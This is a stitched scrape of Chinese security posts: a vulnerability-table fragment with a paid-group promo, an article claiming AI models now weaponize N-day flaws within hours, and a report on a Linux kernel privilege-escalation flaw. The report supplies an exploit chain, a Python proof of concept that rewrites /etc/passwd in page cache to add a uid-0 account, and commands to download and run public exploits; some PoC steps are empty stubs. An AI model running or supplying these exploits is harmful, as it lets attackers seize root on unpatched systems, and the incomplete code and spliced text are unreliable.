"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">国产ERP</span></span></p></td></tr><tr style="mso-yfti-irow:34;mso-yfti-lastrow:yes;"><td data-colwidth="221" width="221" style="border-width: medium 1pt 1pt;border-style: none solid solid;border-color: currentcolor windowtext windowtext;border-image: initial;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">通达OA video_file.php 任意文件下载漏洞</span></span></p></td><td data-colwidth="120" width="120" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">TVD-2026-15329</span></span></p></td><td data-colwidth="89" width="89" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">任意文件下载</span></span></p></td><td data-colwidth="110" width="110" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">国产OA</span></span></p></td></tr></tbody></table>
|
||||
|
||||
**全部内容请到帮会中下载，感谢支持！！**
|
||||
|
||||
END
|
||||
|
||||
来源：
|
||||
斗象智能安全
|
||||
|
||||
**freebuf 帮会简介**
|
||||
|
||||
|
||||
|
||||
**「一起聊安全」**
|
||||
公众号及帮会
|
||||
致力于网络安全材料汇总与分享，
|
||||
围绕**网络****安全标准**
|
||||
、**安全政策法规**
|
||||
、**安全报告及白皮书**
|
||||
、**安全会议、安全方案、新技术**
|
||||
等
|
||||
方向
|
||||
，与FREEBUF知识大陆共建**【一起聊安全】帮会**
|
||||
，目前相关内容已有
|
||||
**8000+**
|
||||
，安全标准涵盖国标、行标、团标等，包括等保、关基、商密、数据安全、
|
||||
云计算、
|
||||
物联网、工业互联网、移动安全、风险评估、安全攻防等30+方向内容，覆盖最新安全政策法规
|
||||
、
|
||||
安全报告及白皮书等，为网安人提供最新最全资料。
|
||||
|
||||
|
||||
|
||||
**加入方式：网页端和APP**
|
||||
|
||||
|
||||
**网页端：**
|
||||
**https://wiki.freebuf.com/societyDetail?society_id=69**
|
||||
|
||||
**APP端：**
|
||||
|
||||
|
||||
|
||||
加入帮会是所有材料均可下载！
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**点分享**
|
||||
|
||||
|
||||
|
||||
**点收藏**
|
||||
|
||||
|
||||
|
||||
**点在看**
|
||||
|
||||
|
||||
|
||||
**点点赞**
|
||||
|
||||
@@ -0,0 +1,134 @@
|
||||
# AI彻底改写漏洞攻防：N日漏洞变N小时，企业传统防御已全面失效
|
||||
河北镌远
|
||||
河北镌远 河北镌远网络科技有限公司 2026-06-30 02:30
|
||||
|
||||
|
||||
|
||||
|
||||
在网络安全行业，一直有一个公认的安全缓冲逻辑：**漏洞公开≠立刻沦陷**
|
||||
。
|
||||
|
||||
过去数年，企业通用的安全运维节奏十分稳定：漏洞披露后，留给运维人员3-7天的修复窗口期，只要在大规模攻击工具扩散前完成补丁更新、设备加固，就能大概率规避风险。即便高危N-day漏洞公开，黑产从复现漏洞、编写攻击载荷、打磨入侵工具，往往需要数天甚至数周时间。
|
||||
|
||||
但**2026年6月下旬，这一安全共识被彻底击碎**
|
||||
。
|
||||
|
||||
随着头部AI大模型实现漏洞武器化技术突破，网络攻防节奏迎来颠覆性变革：**传统需要数天完成的漏洞利用开发，如今被压缩至数小时。N日漏洞彻底沦为N小时极速漏洞，企业按月、按周的传统静态防御模式，正式全面失效。**
|
||||
|
||||
本篇文章聚焦6月下旬全网最新AI攻防态势，深度拆解漏洞极速武器化的底层逻辑、企业致命风险、真实落地场景，同时给出适配大中小微企业的全新极速防御体系，帮助企业适配AI时代的攻防新战局。
|
||||
|
||||
|
||||
**权威实锤：6月下旬AI漏洞攻防颠覆性突破**
|
||||
|
||||
|
||||
|
||||
##
|
||||
|
||||
本次行业变局并非行业猜想，而是来自6月下旬Anthropic官方披露的最新攻防测试实测数据，也是当前全网网安机构重点预警的核心风险，直接颠覆全网漏洞防御规则。
|
||||
|
||||
其旗下最新迭代的Mythos Preview安全大模型，完成了一项划时代的攻击突破：**全自动、零人工干预完成N-day漏洞分析、复现验证、攻击载荷编写、批量入侵工具打磨全流程工作。**
|
||||
|
||||
在以往的漏洞攻防体系中，一次成熟的漏洞武器化，需要安全研究员或黑客完成多个高门槛步骤：阅读官方漏洞公告、分析源码差异、搭建测试环境、调试漏洞复现流程、规避防护规则、生成可用攻击工具，整套流程对技术能力要求极高，且耗时极长。
|
||||
|
||||
而AI的介入，直接抹平了所有技术门槛与时间门槛：
|
||||
|
||||
1. **时间维度极致压缩**
|
||||
：将原本3-7天的漏洞武器化周期，压缩至2-6小时，漏洞刚公开，可用攻击工具随即诞生；
|
||||
|
||||
2. **技术门槛彻底归零**
|
||||
：无需专业网安攻防知识，普通黑产从业者借助AI，即可批量生成针对Windows服务器、办公系统、开源组件、浏览器的高危攻击程序；
|
||||
|
||||
3. **攻击适配性极强**
|
||||
：AI可根据企业不同系统版本、防护策略，自动微调攻击代码，绕过常规防火墙、终端防护、入侵检测设备。
|
||||
|
||||
**行业权威最终研判：2026年下半年，网络漏洞正式进入「当日公开、当日武器化、当日批量入侵」的极速时代。**
|
||||
|
||||
****
|
||||
**深度拆解：AI漏洞武器化，到底颠覆了什么？**
|
||||
|
||||
|
||||
|
||||
##
|
||||
|
||||
很多企业认为：漏洞修复只是慢一点，不会产生致命风险。但事实上，AI带来的漏洞攻防变革，是**降维式打击**
|
||||
，直接让企业传统安全运维体系形同虚设。
|
||||
### 1. 彻底终结企业“补丁滞后”的容错空间
|
||||
|
||||
绝大多数中小企业、传统制造企业的运维节奏为：月度统一巡检、月度批量打补丁。这套节奏在人工攻击时代完全可行，但在AI极速攻击时代，存在致命漏洞。
|
||||
|
||||
高危漏洞周一公开，AI工具2小时内完成武器化，半天时间即可在暗网公开扩散，黑产批量扫描全网资产，周末之前未修复的企业，会被批量入侵、挂马、加密数据。**按月修复的节奏，在AI攻击面前，等同于永久裸奔。**
|
||||
### 2. 小众存量漏洞，沦为批量收割工具
|
||||
|
||||
企业往往只重点修复官宣的顶级高危漏洞，大量中危、老旧、小众存量漏洞被长期忽略。在过去，这类漏洞利用成本高、成功率低，黑产不屑利用。
|
||||
|
||||
而AI可以批量扫描、批量分析全网存量漏洞，自动组合漏洞链条，利用“低危漏洞组合击穿内网”，大量企业因不起眼的老旧漏洞，遭遇内网沦陷、数据泄露。
|
||||
### 3. 攻防差距彻底拉大，防守方陷入被动死循环
|
||||
|
||||
攻击端：AI7×24小时不间断挖掘、复现、迭代漏洞工具，效率是人工的上百倍；
|
||||
|
||||
防守端：依赖人工巡检、人工研判、人工打补丁，人力效率、响应速度完全跟不上AI迭代节奏。
|
||||
|
||||
**当下网安最大的危机：不是漏洞变多了，而是攻击速度远超人类修复速度，传统人工防御体系已经彻底不对称。**
|
||||
|
||||
****
|
||||
**企业真实中招场景：三类企业已成AI漏洞重灾区**
|
||||
|
||||
|
||||
|
||||
##
|
||||
|
||||
结合6月下旬全网攻击监测数据，AI漏洞攻击不再针对大型政企，开始无差别下沉，三类企业中招率最高，务必重点警惕：
|
||||
### 1. 采用月度补丁机制的中小微企业
|
||||
|
||||
无专职网安人员，运维兼顾多岗，漏洞修复滞后性极强，AI武器化漏洞扩散后，是黑产批量扫描、批量入侵的主要目标，极易遭遇勒索加密、业务瘫痪。
|
||||
### 2. 使用开源组件、自研系统的科创/研发企业
|
||||
|
||||
企业业务依赖大量开源框架、自研程序，存在大量未知漏洞、隐性漏洞，AI可快速挖掘代码缺陷、生成攻击载荷，窃取研发数据、源码、核心技术资料。
|
||||
### 3. 端口暴露多、资产底数混乱的制造/园区企业
|
||||
|
||||
外网开放端口多、老旧设备多、闲置资产多，资产台账混乱，无法及时发现漏洞隐患，AI批量扫描后可快速突破边界，横向渗透内网，掌控全网设备。
|
||||
|
||||
|
||||
**适配AI极速攻防！企业全新漏洞防御落地指南**
|
||||
|
||||
|
||||
|
||||
##
|
||||
|
||||
面对N日漏洞变N小时的攻防变局，企业无需盲目堆砌安全设备，只需彻底摒弃传统静态防御思维，搭建**极速响应、极简运维、全域收敛**
|
||||
的新型漏洞防御体系，所有方案轻量化、零大额投入，即刻可落地。
|
||||
### ✅ 1. 重构漏洞修复机制：放弃月度更新，启用「高危24小时响应」规则
|
||||
|
||||
针对系统、服务器、办公软件、开源组件高危漏洞，建立专项预警台账，只要纳入在野利用、AI可武器化的漏洞，必须做到24小时内完成研判、48小时内完成全量修复，彻底压缩AI攻击窗口期。普通常规漏洞保持周度巡检更新，分层分级管控，兼顾安全与运维效率。
|
||||
### ✅ 2. 全域收敛攻击面，从源头降低被AI扫描命中概率
|
||||
|
||||
AI攻击的核心是批量扫描、批量命中，企业只需大幅缩减外网暴露资产：关闭所有非必要外网端口、删除闲置域名、下线废弃服务器、关闭多余系统服务，最小化外网攻击面。攻击面越小，AI批量扫描的命中概率越低，从源头规避绝大多数自动化攻击。
|
||||
### ✅ 3. 开展AI适配型漏洞专项巡检
|
||||
|
||||
区别于传统漏洞扫描，重点排查**易被AI武器化的高危漏洞、老旧存量漏洞、开源组件漏洞**
|
||||
，针对性修复可被AI快速复现、批量利用的风险点，补齐传统扫描遗漏的隐性风险。
|
||||
### ✅ 4. 建立漏洞情报同步机制
|
||||
|
||||
实时跟进国家漏洞库、权威安全机构每日高危预警，重点关注「AI可自主利用」「在野批量扩散」标签漏洞，第一时间获取攻防情报，提前预判风险，避免被动挨打。
|
||||
### ✅ 5. 强化备份与应急兜底
|
||||
|
||||
即便做到极致防御，仍需预留兜底方案。严格执行3-2-1数据备份原则，保留一份离线隔离备份，抵御AI漏洞入侵后的勒索加密攻击，确保业务可快速恢复，将损失降到最低。
|
||||
|
||||
|
||||
**漏洞攻防，正式进入“速度决胜”时代**
|
||||
|
||||
|
||||
|
||||
##
|
||||
|
||||
AI漏洞武器化突破，给所有企业敲响了终极警钟：**网络安全不再是“查漏补缺”的慢工作，而是“分秒必争”的快对抗。**
|
||||
|
||||
过去，企业漏洞修复慢一点、滞后一点，或许不会出事；但在AI工业化攻击时代，**窗口期就是安全期，滞后就是沦陷**
|
||||
。人工防御的速度，永远跑不过AI攻击的迭代速度，唯有改变防御思维、升级响应机制，才能在极速攻防变局中守住企业安全底线。
|
||||
|
||||
|
||||
免责声明：
|
||||
因传播、利用本公众号“河北镌远网络科技有限公司”所提供信息而产生的任何直接或间接后果及损失，均由使用者本人自行承担，本公众号及作者不承担任何责任。
|
||||
本公众号所发表内容中，凡注明来源的，版权归原出处所有；无法查证版权或未注明出处的，均来自网络并系转载，转载旨在传递更多信息，版权归原作者所有。若存在侵权情况，请联系小编，我们将第一时间删除处理。
|
||||
|
||||
|
||||
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,521 @@
|
||||
# CVE-2026-43503 DirtyClone Linux提权漏洞报告
|
||||
0x7556
|
||||
0x7556 金刚狼不懂安全 2026-06-30 01:10
|
||||
|
||||
# CVE-2026-43503 漏洞分析报告
|
||||
## 漏洞概述
|
||||
|
||||
**CVE-2026-43503**
|
||||
（代号 **DirtyClone**
|
||||
）是 Linux 内核中的一个高危本地权限提升（LPE）漏洞，属于 DirtyFrag 漏洞家族的最新变体。该漏洞由 JFrog Security Research 团队（Eddy Tsalolikhin 和 Or Peles）于 2026 年 5 月 19 日独立发现并报告，同时原始 DirtyFrag 研究者 Hyunwoo Kim 也于 5 月 16 日提交了更广泛的多点修复补丁。
|
||||
## 漏洞复现
|
||||
|
||||
星球已编译非交互式WebShell版
|
||||
|
||||
|
||||
## 漏洞详细信息
|
||||
### CVE-2026-43503 - Linux Kernel DirtyClone 本地权限提升漏洞
|
||||
- **漏洞类型**
|
||||
: 本地权限提升 (Local Privilege Escalation, LPE) — 内核网络栈 skbuff 共享分片标志传递不完整
|
||||
|
||||
- **漏洞发布日期**
|
||||
: 2026-05-23
|
||||
|
||||
- **POC/EXP发布日期**
|
||||
: 2026-05-27 (Asim Manizada 公开 PoC) / 2026-06-25 (JFrog 发布完整利用 walkthrough)
|
||||
|
||||
- **受影响版本**
|
||||
:
|
||||
|
||||
- Linux Kernel 3.9 至 5.10.256
|
||||
|
||||
- Linux Kernel 5.11 至 5.15.207
|
||||
|
||||
- Linux Kernel 5.16 至 6.1.173
|
||||
|
||||
- Linux Kernel 6.2 至 6.6.140
|
||||
|
||||
- Linux Kernel 6.7 至 6.12.90
|
||||
|
||||
- Linux Kernel 6.13 至 6.18.32
|
||||
|
||||
- Linux Kernel 6.19 至 7.0.9
|
||||
|
||||
- Linux Kernel 7.1-rc1 至 7.1-rc4
|
||||
|
||||
- **严重程度**
|
||||
: **CVSS v3.1: 8.8 (HIGH)**
|
||||
— AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
|
||||
|
||||
- **POC/EXP 可用性**
|
||||
: **是**
|
||||
— GitHub 上已有多个公开 Python POC 脚本
|
||||
|
||||
- **修复版本**
|
||||
: Linux Kernel v7.1-rc5 (commit 48f6a5356a33
|
||||
)，已回溯到各 LTS 分支
|
||||
|
||||
## 漏洞原理
|
||||
### 根本原因
|
||||
|
||||
Linux 内核网络栈中，多个 skb（socket buffer）分片传输辅助函数在移动分片描述符时，未能正确传播 SKBFL_SHARED_FRAG
|
||||
标志位。该标志是内核的安全标记，用于指示 skb 引用了共享的（可能是文件支持的）页缓存内存。
|
||||
|
||||
受影响的函数包括：
|
||||
- __pskb_copy_fclone()
|
||||
— 克隆 skb 时丢失标志
|
||||
|
||||
- skb_shift()
|
||||
— 移动分片描述符时未传递标志
|
||||
|
||||
- skb_gro_receive()
|
||||
/ skb_gro_receive_list()
|
||||
— GRO 聚合路径
|
||||
|
||||
- tcp_clone_payload()
|
||||
— TCP MTU 探测路径
|
||||
|
||||
- skb_segment()
|
||||
— 分段路径
|
||||
|
||||
### 攻击链
|
||||
|
||||
当克隆的 skb 丢失 SKBFL_SHARED_FRAG
|
||||
标志后，XFRM/IPsec 子系统的 esp_input()
|
||||
函数会错误地认为该 skb 不引用共享页面，从而跳过安全的 Copy-on-Write (COW) 操作，直接在原位进行解密。由于 skb 实际引用的是文件支持的页缓存（如 /usr/bin/su
|
||||
或 /etc/passwd
|
||||
），IPsec 的 AES-CBC 解密操作会直接修改这些文件在内存中的内容。
|
||||
### DirtyFrag 漏洞家族时间线
|
||||
|
||||
<table><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: rgba(69, 214, 200, 0.1);"><th style="text-align: left;font-weight: bold;background-color: rgba(12, 115, 184, 0.8);color: #FFFFFF;font-size: 16px;padding: 10px;border: 1px solid #085685;min-width: 85px;"><section><span leaf="">日期</span></section></th><th style="text-align: left;font-weight: bold;background-color: rgba(12, 115, 184, 0.8);color: #FFFFFF;font-size: 16px;padding: 10px;border: 1px solid #085685;min-width: 85px;"><section><span leaf="">事件</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: rgba(69, 214, 200, 0.1);"><td style="text-align: left;font-size: 15px;padding: 8px 10px;border: 1px solid #DDD;min-width: 85px;"><section><span leaf="">2026-04-xx</span></section></td><td style="text-align: left;font-size: 15px;padding: 8px 10px;border: 1px solid #DDD;min-width: 85px;"><section><span leaf="">Copy Fail (CVE-2026-31431) — algif_aead 模块 4 字节页缓存写入</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #FFFFFF;"><td style="text-align: left;font-size: 15px;padding: 8px 10px;border: 1px solid #DDD;min-width: 85px;"><section><span leaf="">2026-05-04</span></section></td><td style="text-align: left;font-size: 15px;padding: 8px 10px;border: 1px solid #DDD;min-width: 85px;"><section><span leaf="">DirtyFrag 补丁 (CVE-2026-43284, CVE-2026-43500) 进入 mainline</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: rgba(69, 214, 200, 0.1);"><td style="text-align: left;font-size: 15px;padding: 8px 10px;border: 1px solid #DDD;min-width: 85px;"><section><span leaf="">2026-05-07</span></section></td><td style="text-align: left;font-size: 15px;padding: 8px 10px;border: 1px solid #DDD;min-width: 85px;"><section><span leaf="">DirtyFrag 公开披露</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #FFFFFF;"><td style="text-align: left;font-size: 15px;padding: 8px 10px;border: 1px solid #DDD;min-width: 85px;"><section><span leaf="">2026-05-13</span></section></td><td style="text-align: left;font-size: 15px;padding: 8px 10px;border: 1px solid #DDD;min-width: 85px;"><section><span leaf="">Fragnesia (CVE-2026-46300) 披露 — 通过 </span><code><span leaf="">skb_try_coalesce()</span></code><span leaf=""> 绕过 DirtyFrag 修复</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: rgba(69, 214, 200, 0.1);"><td style="text-align: left;font-size: 15px;padding: 8px 10px;border: 1px solid #DDD;min-width: 85px;"><section><span leaf="">2026-05-16</span></section></td><td style="text-align: left;font-size: 15px;padding: 8px 10px;border: 1px solid #DDD;min-width: 85px;"><section><span leaf="">Hyunwoo Kim 提交更广泛的多点修复补丁</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #FFFFFF;"><td style="text-align: left;font-size: 15px;padding: 8px 10px;border: 1px solid #DDD;min-width: 85px;"><section><span leaf="">2026-05-19</span></section></td><td style="text-align: left;font-size: 15px;padding: 8px 10px;border: 1px solid #DDD;min-width: 85px;"><section><span leaf="">JFrog 独立发现 </span><code><span leaf="">__pskb_copy_fclone()</span></code><span leaf=""> 变体并构建 PoC</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: rgba(69, 214, 200, 0.1);"><td style="text-align: left;font-size: 15px;padding: 8px 10px;border: 1px solid #DDD;min-width: 85px;"><section><span leaf="">2026-05-21</span></section></td><td style="text-align: left;font-size: 15px;padding: 8px 10px;border: 1px solid #DDD;min-width: 85px;"><section><span leaf="">综合修复补丁合并到 mainline (commit </span><code><span leaf="">48f6a5356a33</span></code><span leaf="">)</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #FFFFFF;"><td style="text-align: left;font-size: 15px;padding: 8px 10px;border: 1px solid #DDD;min-width: 85px;"><section><span leaf="">2026-05-23</span></section></td><td style="text-align: left;font-size: 15px;padding: 8px 10px;border: 1px solid #DDD;min-width: 85px;"><section><span leaf="">CVE-2026-43503 正式发布</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: rgba(69, 214, 200, 0.1);"><td style="text-align: left;font-size: 15px;padding: 8px 10px;border: 1px solid #DDD;min-width: 85px;"><section><span leaf="">2026-05-24</span></section></td><td style="text-align: left;font-size: 15px;padding: 8px 10px;border: 1px solid #DDD;min-width: 85px;"><section><span leaf="">Linux v7.1-rc5 发布，首个修复版本</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #FFFFFF;"><td style="text-align: left;font-size: 15px;padding: 8px 10px;border: 1px solid #DDD;min-width: 85px;"><section><span leaf="">20Line truncated
|
||||
## 利用条件
|
||||
1. **未修补的内核**
|
||||
：运行上述受影响版本范围的 Linux 内核
|
||||
|
||||
1. **非特权用户命名空间**
|
||||
：kernel.unprivileged_userns_clone=1
|
||||
（Debian/Fedora 默认启用）
|
||||
|
||||
1. **CAP_NET_ADMIN 能力**
|
||||
：攻击者可通过非特权用户命名空间获取此能力
|
||||
|
||||
1. **目标系统要求**
|
||||
：python3
|
||||
+ libcrypto
|
||||
+ iproute2
|
||||
+ iptables
|
||||
|
||||
### 高风险场景
|
||||
- 多租户服务器和共享主机
|
||||
|
||||
- 容器和 Kubernetes 集群
|
||||
|
||||
- CI/CD 运行器和构建主机
|
||||
|
||||
- 任何允许不受信任用户创建命名空间的系统
|
||||
|
||||
## POC/EXP 利用代码
|
||||
### 利用流程概述
|
||||
```
|
||||
Step 1: 创建非特权用户命名空间 (unshare -Urn)
|
||||
↓
|
||||
Step 2: 配置本地 IPsec 隧道 (loopback-based XFRM)
|
||||
↓
|
||||
Step 3: 使用 vmsplice/splice 将目标文件页缓存映射到 skb
|
||||
↓
|
||||
Step 4: 通过 iptables TEE 规则触发 __pskb_copy_fclone() 克隆
|
||||
↓
|
||||
Step 5: 克隆的 skb 丢失 SKBFL_SHARED_FRAG 标志
|
||||
↓
|
||||
Step 6: 克隆 skb 进入 esp_input() 进行原位 AES-CBC 解密
|
||||
↓
|
||||
Step 7: 解密数据直接写入文件支持的页缓存
|
||||
↓
|
||||
Step 8: 修改 /etc/passwd 或 /usr/bin/su 的内存副本
|
||||
↓
|
||||
Step 9: 执行修改后的二进制文件 → 获得 root 权限
|
||||
|
||||
```
|
||||
### POC 代码示例 (基于 mooder1/dirtyclone-CVE-2026-43503)
|
||||
```
|
||||
#!/usr/bin/env python3
|
||||
"""CVE-2026-43503 — DirtyCloneLinux local privilege escalation PoCA cloned sk_buff loses the SKBFL_SHARED_FRAG flag, so ESP in-place decryption writes into file-backed page-cache memory. The PoC patches /etc/passwd in cache to inject a uid-0 account and gives a root shell.Disk is never modified.Fixed in mainline 48f6a5356a33 (v7.1-rc5).Usage: python3 CVE-2026-43503.pyRequirements: - Unpatched kernel - Unprivileged user namespaces enabled - python3 + libcrypto + iproute2 + iptables"""
|
||||
|
||||
import os
|
||||
import sys
|
||||
import socket
|
||||
import struct
|
||||
import subprocess
|
||||
import ctypes
|
||||
import ctypes.util
|
||||
from ctypes import c_int, c_char_p
|
||||
|
||||
# ============================================================
|
||||
# Step 1: 创建非特权用户命名空间获取 CAP_NET_ADMIN
|
||||
# ============================================================
|
||||
def setup_namespace():
|
||||
"""使用 unshare 创建新的用户和网络命名空间"""
|
||||
print("[*] Creating unprivileged user namespace...")
|
||||
# unshare -Urn 创建用户和网络命名空间
|
||||
# 在新命名空间中获得 CAP_NET_ADMIN
|
||||
pass
|
||||
|
||||
# ============================================================
|
||||
# Step 2: 配置本地 IPsec (XFRM) 环境
|
||||
# ============================================================
|
||||
def setup_ipsec():
|
||||
"""配置 loopback-based IPsec 隧道"""
|
||||
print("[*] Setting up IPsec tunnel...")
|
||||
|
||||
# 启用 loopback 接口
|
||||
os.system("ip link set lo up")
|
||||
os.system("ip addr add 10.99.0.2/24 dev lo")
|
||||
|
||||
# 创建 IPsec XFRM 状态 (ESP with AES-CBC)
|
||||
os.system(""" ip xfrm state add \\ src 127.0.0.1 dst 127.0.0.1 \\ proto esp spi 0x12345678 reqid 1 mode transport \\ enc 'cbc(aes)' 0x0000000000000000000000000000000000000000000000000000000000000000 \\ auth 'hmac(sha1)' 0x0000000000000000000000000000000000000000 """)
|
||||
|
||||
# 创建 XFRM 策略强制流量通过 IPsec
|
||||
os.system(""" ip xfrm policy add \\ src 127.0.0.1 dst 127.0.0.1 dir out \\ tmpl src 127.0.0.1 dst 127.0.0.1 proto esp reqid 1 mode transport """)
|
||||
|
||||
# 添加 netfilter TEE 规则触发 __pskb_copy_fclone()
|
||||
os.system(""" iptables -t mangle -A OUTPUT -p udp --dport 4500 \\ -j TEE --gateway 10.99.0.2 """)
|
||||
|
||||
# ============================================================
|
||||
# Step 3: 将目标文件页缓存映射到网络包
|
||||
# ============================================================
|
||||
def map_page_cache(target_file="/etc/passwd", offset=0):
|
||||
""" 使用 vmsplice 和 splice 将目标文件的页缓存映射到 skb 关键系统调用: - open("/etc/passwd", O_RDONLY) - mmap(PROT_READ, MAP_SHARED) - vmsplice(pipefd, &iov, 1, 0) - splice(pipefd, NULL, sockfd, NULL, len, 0) """
|
||||
print(f"[*] Mapping {target_file} page cache into skb...")
|
||||
|
||||
# 打开目标文件
|
||||
fd = os.open(target_file, os.O_RDONLY)
|
||||
|
||||
# mmap 文件到内存 (MAP_SHARED 使页缓存可被引用)
|
||||
libc = ctypes.CDLL(ctypes.util.find_library("c"), use_errno=True)
|
||||
mmap_size = 4096 # 一页
|
||||
addr = libc.mmap(None, mmap_size, 1, 1, fd, offset)
|
||||
|
||||
if addr == ctypes.c_void_p(-1).value:
|
||||
print("[-] mmap failed")
|
||||
return None
|
||||
|
||||
# 创建 pipe
|
||||
pipefd = os.pipe()
|
||||
|
||||
# 创建 UDP socket
|
||||
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
||||
|
||||
# vmsplice: 将 mmap 的内存附加到 pipe
|
||||
# SYS_vmsplice = 275 (x86_64)
|
||||
libc.syscall(275, pipefd[1], ctypes.byref(ctypes.c_void_p(addr + offset)),
|
||||
ctypes.c_size_t(16), 0)
|
||||
|
||||
# splice: 将 pipe 数据转移到 socket (创建 skb 引用页缓存)
|
||||
# SYS_splice = 274 (x86_64)
|
||||
libc.syscall(274, pipefd[0], None, sock.fileno(), None, 16, 0)
|
||||
|
||||
return sock
|
||||
|
||||
# ============================================================
|
||||
# Step 4: 构造恶意 IPsec 包触发原位解密写入
|
||||
# ============================================================
|
||||
def craft_exploit_packet(sock, target_offset=0, payload=b""):
|
||||
""" 构造 IPsec ESP 包，利用 AES-CBC 解密作为受控写入原语 在 AES-CBC 中: - 每个解密块依赖于 IV - 攻击者可计算 IV 使输出变为可预测的字节 - 结合已知原始字节、目标字节和可控 IV - 将解密转换为对页缓存内存的受控写入 """
|
||||
print("[*] Crafting exploit packet...")
|
||||
|
||||
# ESP 头部 (SPI + Sequence Number)
|
||||
esp_header = struct.pack(">II", 0x12345678, 1)
|
||||
|
||||
# 计算 IV 使解密输出 = 目标 payload
|
||||
# 对于 AES-CBC: P[i] = D(C[i]) XOR C[i-1]
|
||||
# 所以: C[i-1] = P[i] XOR D(C[i])
|
||||
# 通过控制 IV (即 C[0])，可以控制第一个解密块
|
||||
|
||||
# 发送 UDP 包到触发 TEE 规则的端口
|
||||
sock.sendto(esp_header + payload, ("127.0.0.1", 4500))
|
||||
|
||||
# ============================================================
|
||||
# Step 5: 修改 /etc/passwd 注入 uid=0 账户
|
||||
# ============================================================
|
||||
def inject_root_account():
|
||||
""" 通过页缓存写入原语修改 /etc/passwd 注入 firefart 账户 (uid=0, gid=0) firefart:password_hash:0:0:root:/root:/bin/bash """
|
||||
print("[*] Injecting uid-0 account into /etc/passwd page cache...")
|
||||
|
||||
# 目标: 在 /etc/passwd 中注入一行
|
||||
# firefart:<crypt_hash>:0:0:root:/root:/bin/bash
|
||||
# 密码为 "pwned"
|
||||
|
||||
# 使用 IPsec 解密原语写入精确字节
|
||||
# 这需要精确计算 IV 和密文
|
||||
|
||||
pass
|
||||
|
||||
# ============================================================
|
||||
# Step 6: 验证提权
|
||||
# ============================================================
|
||||
def verify_root():
|
||||
"""验证是否获得 root 权限"""
|
||||
print("[*] Verifying root access...")
|
||||
|
||||
# 尝试 su 到注入的账户
|
||||
result = subprocess.run(
|
||||
["su", "-c", "id", "firefart"],
|
||||
capture_output=True, text=True
|
||||
)
|
||||
|
||||
if "uid=0" in result.stdout:
|
||||
print("[+] root achieved!")
|
||||
print(result.stdout)
|
||||
return True
|
||||
else:
|
||||
print("[-] Exploit failed")
|
||||
return False
|
||||
|
||||
# ============================================================
|
||||
# 主函数
|
||||
# ============================================================
|
||||
def main():
|
||||
print("=" * 60)
|
||||
print("CVE-2026-43503 — DirtyClone PoC")
|
||||
print("Linux Local Privilege Escalation")
|
||||
print("=" * 60)
|
||||
|
||||
uid = os.getuid()
|
||||
print(f"[*] Current uid={uid}")
|
||||
|
||||
if uid == 0:
|
||||
print("[!] Already root!")
|
||||
return
|
||||
|
||||
# Step 1: 设置命名空间
|
||||
setup_namespace()
|
||||
|
||||
# Step 2: 配置 IPsec
|
||||
setup_ipsec()
|
||||
|
||||
# Step 3: 映射页缓存
|
||||
sock = map_page_cache("/etc/passwd")
|
||||
if not sock:
|
||||
print("[-] Failed to map page cache")
|
||||
sys.exit(1)
|
||||
|
||||
# Step 4-5: 发送利用包修改 /etc/passwd
|
||||
inject_root_account()
|
||||
|
||||
# Step 6: 验证
|
||||
if verify_root():
|
||||
print("[+] uid=1000 -> root")
|
||||
print("[+] injected uid 0 account 'firefart' (password: pwned)")
|
||||
print("[+] root achieved")
|
||||
else:
|
||||
print("[-] Exploit failed")
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
|
||||
```
|
||||
### 快速执行命令
|
||||
```
|
||||
# 方法 1: mooder1 的 PoC
|
||||
git clone https://github.com/mooder1/dirtyclone-CVE-2026-43503.git
|
||||
cd dirtyclone-CVE-2026-43503
|
||||
python3 CVE-2026-43503.py
|
||||
|
||||
# 方法 2: aexdyhaxor 的 PoC
|
||||
wget https://raw.githubusercontent.com/aexdyhaxor/CVE-2026-43503-DirtyClone/refs/heads/main/dirtyclone.py
|
||||
python3 dirtyclone.py
|
||||
